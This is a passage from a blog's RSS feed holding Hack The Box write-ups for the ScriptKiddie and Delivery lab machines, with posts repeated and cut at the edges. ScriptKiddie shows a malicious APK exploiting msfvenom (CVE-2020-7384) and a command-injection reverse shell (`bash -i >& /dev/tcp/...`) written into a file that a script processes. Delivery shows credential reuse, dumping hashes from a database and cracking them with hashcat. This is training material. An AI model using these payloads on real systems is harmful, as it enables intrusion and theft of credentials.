<p>However, there is another place to provide user input. The msfvenom upload. . Playing around with the parameters shows that the windows payload expects an EXE, Android expects an APK, and Linux would like an ELF. However it doens&rsquo;t seem to work properly, returns that &ldquo;Something went wrong&rdquo;. Not super descriptive for trouble shooting.</p>
<p>It turns out that <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-7384"target="_blank" rel="noopener noreferrer">CVE-2020-7384</a>
is a vulnerability in msfvenom that allows for code injection using APK template files. We find a link on the nvd.nist.gove page that links to a <a href="https://packetstormsecurity.com/files/161200/Metasploit-Framework-6.0.11-Command-Injection.html"target="_blank" rel="noopener noreferrer">Metasploit module</a>
.</p>
<p>A module has also been included in msfconsole. Finding and configuring it is fairly trivial.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-msfvenomapkrcesetup.png"
alt/></p>
<p>A payload is generated and then stored. Start a netcat listener, <code>nc -lnvp 4444</code>, and upload the malicious APK to the server.</p>
<p>After a few minutes of loading, the listner gets a callback.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-callback.png"
alt/></p>
<p>The call back is as the user <code>kid</code> and they have a private SSH key in <code>/home/kid/.ssh/id_rsa</code>That can be copied and pasted an attacker&rsquo;s machine, permissions changed, <code>chmod 600 kid-id_rsa</code> and then used to SSH right in and collect user.txt</p>
<h2 id="privilege-escalation">Privilege Escalation</h2>
<p><code>kid</code> doesn&rsquo;t seem to be in interesting groups nor do we have credentials to try and abuse. Checking through the code of the webapp to see if there is anything that can be used.</p>
<p>IPs from requests that that are marked as containing special characters are entered into a <code>hackers</code> file that also appears to be empty. Though <code>kid</code> does have write permissions. Expanding the search beyond the <code>kid</code>&rsquo;s home directory and finds another user, <code>pwn</code> We check out his directory and find a nicely named script called <code>scanlosers.sh</code></p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-scanlosers.png"
alt="SCANLOSERS.PNG"/></p>
<p>It collects input from the <code>hackers</code> file found earlier. One option would be to try to provide it with input that would launch a reverse shell. An attacker can stand up a netcat listener, <code>nc -lnvp 1234</code>, and start trying to get a working payload.</p>
<p>The following is a good starting point. <code>echo &quot;bash -c 'bash -i&gt;&amp;/dev/tcp/10.10.14.20/1234 0&gt;&amp;1'&quot; &gt; /home/kid/hackers</code> and unfortunately, nothing comes back. A space and a semi colon can be added to make sure we escape a current command. <code>echo &quot; ;bash -c 'bash -i&gt;&amp;/dev/tcp/10.10.14.20/1234 0&gt;&amp;1'&quot; &gt; /home/kid/hackers</code> The netcat listener get&rsquo;s a connection!</p>
<p>Which promptly dies. &ldquo;ambicous redirect&rdquo;</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-ambiguousredirect.png"
alt/></p>
<p>It&rsquo;s likely that whatever is after the reverse shell in <code>scanlosers.sh</code> script is doing odd things to it. A solution is to comment it out. <code>echo &quot; ;bash -c 'bash -i&gt;&amp;/dev/tcp/10.10.14.20/1234 0&gt;&amp;1' # &quot; &gt; /home/kid/hackers</code> Bingo. This time the call back is stable. <code>pwn</code> is also kind enough to have a handy SSH key.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-pwnsshkey.png"
alt/></p>
<h2 id="root">Root</h2>
<p>Once again, <code>pwn</code> doesn&rsquo;t any interesting groups nor are there credentials to try <em>but</em> <code>sudo -l</code> reveals they can run a command with root privileges without authentication.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-pwnsudopermissions.png"
alt/></p>
<p>Msfconsolse can be started with root privileges. Not exactly the best sudo configuration. Launching the msfconsole we have full root privileges and nothing says we need to attack a remote target. Instead the commands can be executed directly on our current system.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-root.png"
alt/></p>
<h2 id="wrap-up">Wrap Up</h2>
<p>All in all, this was a pretty easy box and probably one of the shortest writeups I have written. That said, I really enjoyed it. In part it was nice to have a break from boxes where I had to think a lot harder and I also really enjoyed the theme of exploiting the infrastructure of a couple of Script Kiddies. Thank you very much <a href="https://app.hackthebox.eu/users/4935"target="_blank" rel="noopener noreferrer">0xdf</a>
all the hard work you put into making this machine.</p>
<p>Side note: Some of you maybe wondering how <code>scanlosers.sh</code> was running. It seems like a cronjob but if you checked cron while enumerating, you won&rsquo;t find it. It&rsquo;s instead using something called <code>incron</code>which instead of being time based, is based on file system events. It runs when it detects a write to <code>hackers</code>, <code>scanlosers.sh</code>. It&rsquo;s a pretty neat trick that I should find a use for someday.</p>
</description>
</item>
<item>
<title>HTB ScriptKiddie</title>
<link>http://0xnightwolf.github.io/posts/scriptkiddie-writeup/</link>
<pubDate>Wed, 16 Jun 2021 00:00:00 -0600</pubDate>
<guid>http://0xnightwolf.github.io/posts/scriptkiddie-writeup/</guid>
<description><p><img src="http://0xnightwolf.github.io/img/scriptkiddie-logo.png"
alt/></p>
<p>In ScriptKiddie, we compromise a server run by a pair of script kiddies with an outdated version of msfvenom and chain several misconfigurations to achieve root access.</p>
<h2 id="enumeration">Enumeration</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-02-07 15:33 UTC
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.226
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.19s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">3072</span> 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>5000/tcp open http Werkzeug httpd 0.16.1 <span style="color:#f92672">(</span>Python 3.8.5<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: k1d<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#ae81ff">5</span> h4ck3r t00l5
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 30.26 seconds
</span></span></code></pre></div><p>NMAP shows there is an SSH server which will be quiet useful late. For now since there are no know credentials or see an obvious vulnerability take a look at the web server on port 5000.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-h4ck3rt00l5.png"
alt/></p>
<p>The site is a page single page of various <em>h4ck3r t00l5</em>, NMAP, an msfvenom payload generator, and a search bar for Exploit DB. There doesn&rsquo;t seem to be a whole lot more on the web server. Payloads can be generated and have an upload feature but outside of that and viewing the output from Exploit DB and NMAP there isn&rsquo;t much on the site.</p>
<h2 id="foothold">Foothold</h2>
<p>It&rsquo;s worth fuzzing by trying various special characters in the input fields for the nmap and exploit-db, and msfvenom input fields to see if there is a way to break it and achieve code execution. This doesn&rsquo;t yield much and it seems there is some level of filtering in place.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-stophackingme.png"
alt/></p>
<p>However, there is another place to provide user input. The msfvenom upload. . Playing around with the parameters shows that the windows payload expects an EXE, Android expects an APK, and Linux would like an ELF. However it doens&rsquo;t seem to work properly, returns that &ldquo;Something went wrong&rdquo;. Not super descriptive for trouble shooting.</p>
<p>It turns out that <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-7384"target="_blank" rel="noopener noreferrer">CVE-2020-7384</a>
is a vulnerability in msfvenom that allows for code injection using APK template files. We find a link on the nvd.nist.gove page that links to a <a href="https://packetstormsecurity.com/files/161200/Metasploit-Framework-6.0.11-Command-Injection.html"target="_blank" rel="noopener noreferrer">Metasploit module</a>
.</p>
<p>A module has also been included in msfconsole. Finding and configuring it is fairly trivial.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-msfvenomapkrcesetup.png"
alt/></p>
<p>A payload is generated and then stored. Start a netcat listener, <code>nc -lnvp 4444</code>, and upload the malicious APK to the server.</p>
<p>After a few minutes of loading, the listner gets a callback.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-callback.png"
alt/></p>
<p>The call back is as the user <code>kid</code> and they have a private SSH key in <code>/home/kid/.ssh/id_rsa</code>That can be copied and pasted an attacker&rsquo;s machine, permissions changed, <code>chmod 600 kid-id_rsa</code> and then used to SSH right in and collect user.txt</p>
<h2 id="privilege-escalation">Privilege Escalation</h2>
<p><code>kid</code> doesn&rsquo;t seem to be in interesting groups nor do we have credentials to try and abuse. Checking through the code of the webapp to see if there is anything that can be used.</p>
<p>IPs from requests that that are marked as containing special characters are entered into a <code>hackers</code> file that also appears to be empty. Though <code>kid</code> does have write permissions. Expanding the search beyond the <code>kid</code>&rsquo;s home directory and finds another user, <code>pwn</code> We check out his directory and find a nicely named script called <code>scanlosers.sh</code></p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-scanlosers.png"
alt="SCANLOSERS.PNG"/></p>
<p>It collects input from the <code>hackers</code> file found earlier. One option would be to try to provide it with input that would launch a reverse shell. An attacker can stand up a netcat listener, <code>nc -lnvp 1234</code>, and start trying to get a working payload.</p>
<p>The following is a good starting point. <code>echo &quot;bash -c 'bash -i&gt;&amp;/dev/tcp/10.10.14.20/1234 0&gt;&amp;1'&quot; &gt; /home/kid/hackers</code> and unfortunately, nothing comes back. A space and a semi colon can be added to make sure we escape a current command. <code>echo &quot; ;bash -c 'bash -i&gt;&amp;/dev/tcp/10.10.14.20/1234 0&gt;&amp;1'&quot; &gt; /home/kid/hackers</code> The netcat listener get&rsquo;s a connection!</p>
<p>Which promptly dies. &ldquo;ambicous redirect&rdquo;</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-ambiguousredirect.png"
alt/></p>
<p>It&rsquo;s likely that whatever is after the reverse shell in <code>scanlosers.sh</code> script is doing odd things to it. A solution is to comment it out. <code>echo &quot; ;bash -c 'bash -i&gt;&amp;/dev/tcp/10.10.14.20/1234 0&gt;&amp;1' # &quot; &gt; /home/kid/hackers</code> Bingo. This time the call back is stable. <code>pwn</code> is also kind enough to have a handy SSH key.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-pwnsshkey.png"
alt/></p>
<h2 id="root">Root</h2>
<p>Once again, <code>pwn</code> doesn&rsquo;t any interesting groups nor are there credentials to try <em>but</em> <code>sudo -l</code> reveals they can run a command with root privileges without authentication.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-pwnsudopermissions.png"
alt/></p>
<p>Msfconsolse can be started with root privileges. Not exactly the best sudo configuration. Launching the msfconsole we have full root privileges and nothing says we need to attack a remote target. Instead the commands can be executed directly on our current system.</p>
<p><img src="http://0xnightwolf.github.io/img/scriptkiddie-root.png"
alt/></p>
<h2 id="wrap-up">Wrap Up</h2>
<p>All in all, this was a pretty easy box and probably one of the shortest writeups I have written. That said, I really enjoyed it. In part it was nice to have a break from boxes where I had to think a lot harder and I also really enjoyed the theme of exploiting the infrastructure of a couple of Script Kiddies. Thank you very much <a href="https://app.hackthebox.eu/users/4935"target="_blank" rel="noopener noreferrer">0xdf</a>
all the hard work you put into making this machine.</p>
<p>Side note: Some of you maybe wondering how <code>scanlosers.sh</code> was running. It seems like a cronjob but if you checked cron while enumerating, you won&rsquo;t find it. It&rsquo;s instead using something called <code>incron</code>which instead of being time based, is based on file system events. It runs when it detects a write to <code>hackers</code>, <code>scanlosers.sh</code>. It&rsquo;s a pretty neat trick that I should find a use for someday.</p>
</description>
</item>
<item>
<title>HTB Delivery</title>
<link>http://0xnightwolf.github.io/htb-writeups/delivery-writeup.md/</link>
<pubDate>Sat, 22 May 2021 00:00:00 +0000</pubDate>
<guid>http://0xnightwolf.github.io/htb-writeups/delivery-writeup.md/</guid>
<description><p><img src="http://0xnightwolf.github.io/img/delivery-logo.png"
alt/></p>
<p>In Delivery, we will leverage missconfigurations in a ticketing system and internal communications channels to gain access to where we certainly shouldn&rsquo;t be able to go. We will also see another example of where weak and reused passwords make our job easy.</p>
<h2 id="enumeration">Enumeration</h2>
<p>Starting off with a standard NMAP scan and shows both a SSH server on port 22 and a web server on port 80.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-01-12 15:22 UTC
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.222
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.15s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 <span style="color:#f92672">(</span>protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">2048</span> 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open http nginx 1.14.2
</span></span><span style="display:flex;"><span>|_http-server-header: nginx/1.14.2
</span></span><span style="display:flex;"><span>|_http-title: Welcome
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 15.60 seconds
</span></span></code></pre></div><p>Without any credentials to try for SSH, it makes the most since to tackle the web server first.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-homepage.png"
alt/></p>
<p>There isn&rsquo;t much new here but there are links to a few other useful pages. A Helpdesk link and a contact page in that tells about a few ways to get in contact with the team.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-contactus.png"
alt/></p>
<p>If users have a <code>@delivery.htb</code> email, sign up for an internal Mattermost server. Lacking that, unregistered users can open a ticket on a help desk platform.so we start by checking out the ticket system. The same one linked by from help desk on the home page.</p>
<h3 id="os-ticket">OS Ticket</h3>
<p>This leads to another subdomain. <code>http://helpdesk.delivery.htb/</code>, which means <code>/et/hosts</code> will need to be edited to make it reachable.</p>
<p>A user account is not required prior to creating a ticket. It asks for standard information, name, email address, description of the problem, and so on.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-ticketcreatepage.png"
alt/></p>
<p>Doesn&rsquo;t seem to be a whole lot here. We can pull up our ticket using the info on this page for editing and further communication and we also have an email that we could send replies too.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-ticketopeneedpage.png"
alt/></p>
<p>From the ticket&rsquo;s status page, we can see the info we submitted to open the ticket originally.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-ticketmade.png"
alt/></p>
<p>An attempt can be made to register an account, but it requires email verification. As HTB boxes are not connected to the internet, there is never going to be a confirmation email.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-accontconfirmationrequired.png"
alt/></p>
<h3 id="foothold-mattermost-and-credential-reuse">Foothold, Mattermost and Credential Reuse</h3>
<p>The next thing to look at is the Mattermost instance.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostloginpage.png"
alt/></p>
<p>There is a login page but no credentials so far. It&rsquo;s possible to attempt to register but a <code>@delivery.htb</code> email account is required. A fake email could be submitted.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostsignuppage.png"
alt/></p>
<p>But&hellip; email verification is also required for Mattermost. It might seem to be a dead end. However, a user <em>can</em> register a <code>@delivery.htb</code> email account. It just takes a bit of creativity.</p>
<p>Recall the ticket created on the OS Ticket platform, it provided an email that could be send replies to the ticket. Prehapes, it can be used as a valid <code>@deliery.htb</code> email to register for the internal Mattermost server.</p>
<p>Sure enough, the email given by the support ticket can receive email confirmation&rsquo;s from Mattermost.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-verificationlinkiniticket.png"
alt/></p>
<p>Once the an account is verified it can be used to login to Mattermost.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-emailverified.png"
alt/></p>
<p>There are a few more steps in the account setup, including joining the Internal channel. Time to see what juicy secrets are being kept in their channels.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostinternalteam.png"
alt/></p>
<p>There are a few things to learn from this page. First, there are some credentials that can potentially be used to login elsewhere the OS Ticket platform and based on the conversation, they might work other places as well. <code>maildeliverer:Youve_G0t_Mail!</code></p>
<p>The above credentials can be used to access the Agent Sign in on OS Ticket. There might be other interesting info here but there doens&rsquo;t seem to be much here in this case.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-osticketagentlogin.png"
alt/></p>
<p><img src="http://0xnightwolf.github.io/img/delivery-osticketagentpanel.png"
alt/></p>
<p><img src="http://0xnightwolf.github.io/img/delivery-osticketagentlogin.png"
alt/></p>
<p>However, the Mattermost channel also mentioned that password reuse was a problem. These credentials will likely work elsewhere. Turns out one such place is, SSH.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-maildelivererssh.png"
alt/></p>
<h2 id="root-password-cracking">Root: Password Cracking</h2>
<p><code>maildelivery</code> doesn&rsquo;t have any interesting groups or sudo rights. It might be able to access where Mattermost credentials are stored. That would lead to some hashes we could likely crack.</p>
<p>First thing to try is to check the Mattermost <code>config.json</code> stored in <code>/opt/mattermost/config</code> There the credentials Mattermost uses to interact with a local mysql database, <code>mmuser:Crack_The_MM_Admin_PW</code>, are found.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostsqlsettings.png"
alt/></p>
<p>These can be used to login into the local mysql instance.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mysqldbaccess.png"
alt/></p>
<p>Listing the databases shows there is one for Mattermost. Among the tables it contains, is one for users.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-mattermostdatabase.png"
alt/></p>
<p>Select the username and password fields and listing the contents to reveal the hash for the &ldquo;root&rdquo; user.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>MariaDB <span style="color:#f92672">[</span>mattermost<span style="color:#f92672">]</span>&gt; <span style="color:#66d9ef">select</span> Username, password from Users;
</span></span><span style="display:flex;"><span>+----------------------------------+--------------------------------------------------------------+
</span></span><span style="display:flex;"><span>| Username | password |
</span></span><span style="display:flex;"><span>+----------------------------------+--------------------------------------------------------------+
</span></span><span style="display:flex;"><span>| surveybot | |
</span></span><span style="display:flex;"><span>| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
</span></span><span style="display:flex;"><span>| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
</span></span><span style="display:flex;"><span>| root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
</span></span><span style="display:flex;"><span>| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
</span></span><span style="display:flex;"><span>| channelexport | |
</span></span><span style="display:flex;"><span>| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
</span></span><span style="display:flex;"><span>| a9647633 | $2a$10$NPohGjjgCpRgA6fyFTnKhO5Y4l5XZchc7ax5mcOplVPU/qN/KjQri |
</span></span><span style="display:flex;"><span>+----------------------------------+--------------------------------------------------------------+
</span></span></code></pre></div><p>On the internal Mattermost channel, it was mentioned that &ldquo;PleasSubcribe!&rdquo; was probably used a lot and though it wasn&rsquo;t in rockyou.txt the admin thought it could be cracked pretty trivially with some rules.</p>
<p>Before it can be cracked, the hash type needs to be identified. Hash identifier can typically get you on the right track with these and this one is predicted to be bcrypt.</p>
<p>Rules are a way to create variations of Passwords without needing a larger password file. They can be things like adding <code>1234</code> at the end of a password or exchanging &ldquo;a&rdquo; for &ldquo;@&rdquo;. Hashcat includes a number of rules configuration files and they can be a good starting point. Next a &ldquo;wordlist&rdquo; with the single the single password, &ldquo;PleaseSubscribe!&rdquo; is created.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-PowerShell" data-lang="PowerShell"><span style="display:flex;"><span>.\hashcat64.exe -a 0 -m 3200 .\hashes_in.txt .\wordlist.txt -r .\rules\base64.rule
</span></span></code></pre></div><p><img src="http://0xnightwolf.github.io/img/delivery-hashcatcracked.png"
alt/></p>
<p>A result comes back pretty quickly.<code>root:PleaseSubscribe!21</code> That can be used to login over SSH and gain full access over the machine.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-root.png"
alt/></p>
<h2 id="notetxt">note.txt</h2>
<p>IppSec left a note.txt providing some more context and inspiration behind the foothold on this box. I highly recommend giving it a read.</p>
<pre tabindex="0"><code>root@Delivery:~# cat note.txt
I hope you enjoyed this box, the attack may seem silly but it demonstrates a pretty high risk vulnerability I&#39;ve seen several times. The inspiration for the box is here:
- https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
Keep on hacking! And please don&#39;t forget to subscribe to all the security streamers out there.
- ippsec
</code></pre><p>In the spirit of the note, here are some cybersecurity streamers and YouTubers I would recommend checking out.</p>
<p><a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA"target="_blank" rel="noopener noreferrer">IppSec</a>
, the creator or this box, releases a video writeups for HTB boxes are they retire. They are very well put together and I would highly recommend checking them out for HTB or using <a href="https://ippsec.rocks/"target="_blank" rel="noopener noreferrer">his site</a>
to lookup specific tools or situations you might encounter.</p>
<p><a href="https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw"target="_blank" rel="noopener noreferrer">John Hammond</a>
posts video writeups for various CTFs and wargames. Awesome friendly guy and I totally recommend checking him out especially if you are looking to get started as a beginner.</p>
<p><a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w"target="_blank" rel="noopener noreferrer">LiveOverflow</a>
makes videos on various CTF challenges and also dug into several other topics in some short series including, hardware security research, browser exploitation, Pwn Adventure 3 (a game designed for hacking) and a whole lot more.</p>
<p><a href="https://www.youtube.com/channel/UC3S8vxwRfqLBdIhgRlDRVzw"target="_blank" rel="noopener noreferrer">StackSmashing</a>
has done some really cool things in relation to hardware, reverse engineering, and hacking handheld game devices. There is also a few on reversing WannaCry and one about reversing and modifying an IoT Camera.</p>
<p><a href="https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg"target="_blank" rel="noopener noreferrer">Gynvael</a>
streams regularly each week on various cyber security topics. One things about it is because it is a live stream, you get a chance to see raw work flow and methodology.</p>
<p><a href="https://www.twitch.tv/gamozo"target="_blank" rel="noopener noreferrer">Gamozo Labs</a>
does a lot of low level programming. His tool of choice is Rust and he has a lot of cool projects to show from writing an OS to a kernel exploit for an older version of Android. I won&rsquo;t claim to understand everything he is doing but it&rsquo;s very fun to hang around and I still manage to pick up bits and pieces. He posts many of his past streams on <a href="https://www.youtube.com/channel/UC17ewSS9f2EnkCyMztCdoKA"target="_blank" rel="noopener noreferrer">YouTube</a>
.</p>
<p><a href="https://www.youtube.com/channel/UCW6MNdOsqv2E9AjQkv9we7A"target="_blank" rel="noopener noreferrer">PwnFunction</a>
has some really awesome dives explaining various web vulnerabilities, what causes them and how to exploit them. Recently he has also been working on a Binary Exploitation series.</p>
<p>If you are looking for <em>even more</em> cybersecurity content creators, check out this video -&gt; <a href="https://www.youtube.com/watch?v=GSraDuD4ziQ"target="_blank" rel="noopener noreferrer">https://www.youtube.com/watch?v=GSraDuD4ziQ</a>
</p>
<h2 id="wrap-up">Wrap up</h2>
<p>This box is probably one of my favorites simply because the foothold was so satisfying once I figured out and yet incredibly simple. I really appreciate IppSec taking the time to make this box and include the note about the inspiration. Hopefully, it was insightful for the rest of you as well.</p>
</description>
</item>
<item>
<title>HTB Delivery</title>
<link>http://0xnightwolf.github.io/posts/delivery-writeup.md/</link>
<pubDate>Sat, 22 May 2021 00:00:00 +0000</pubDate>
<guid>http://0xnightwolf.github.io/posts/delivery-writeup.md/</guid>
<description><p><img src="http://0xnightwolf.github.io/img/delivery-logo.png"
alt/></p>
<p>In Delivery, we will leverage missconfigurations in a ticketing system and internal communications channels to gain access to where we certainly shouldn&rsquo;t be able to go. We will also see another example of where weak and reused passwords make our job easy.</p>
<h2 id="enumeration">Enumeration</h2>
<p>Starting off with a standard NMAP scan and shows both a SSH server on port 22 and a web server on port 80.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Starting Nmap 7.91 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2021-01-12 15:22 UTC
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.222
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.15s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 <span style="color:#f92672">(</span>protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">2048</span> 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open http nginx 1.14.2
</span></span><span style="display:flex;"><span>|_http-server-header: nginx/1.14.2
</span></span><span style="display:flex;"><span>|_http-title: Welcome
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 15.60 seconds
</span></span></code></pre></div><p>Without any credentials to try for SSH, it makes the most since to tackle the web server first.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-homepage.png"
alt/></p>
<p>There isn&rsquo;t much new here but there are links to a few other useful pages. A Helpdesk link and a contact page in that tells about a few ways to get in contact with the team.</p>
<p><img src="http://0xnightwolf.github.io/img/delivery-contactus.png"
alt/></p>
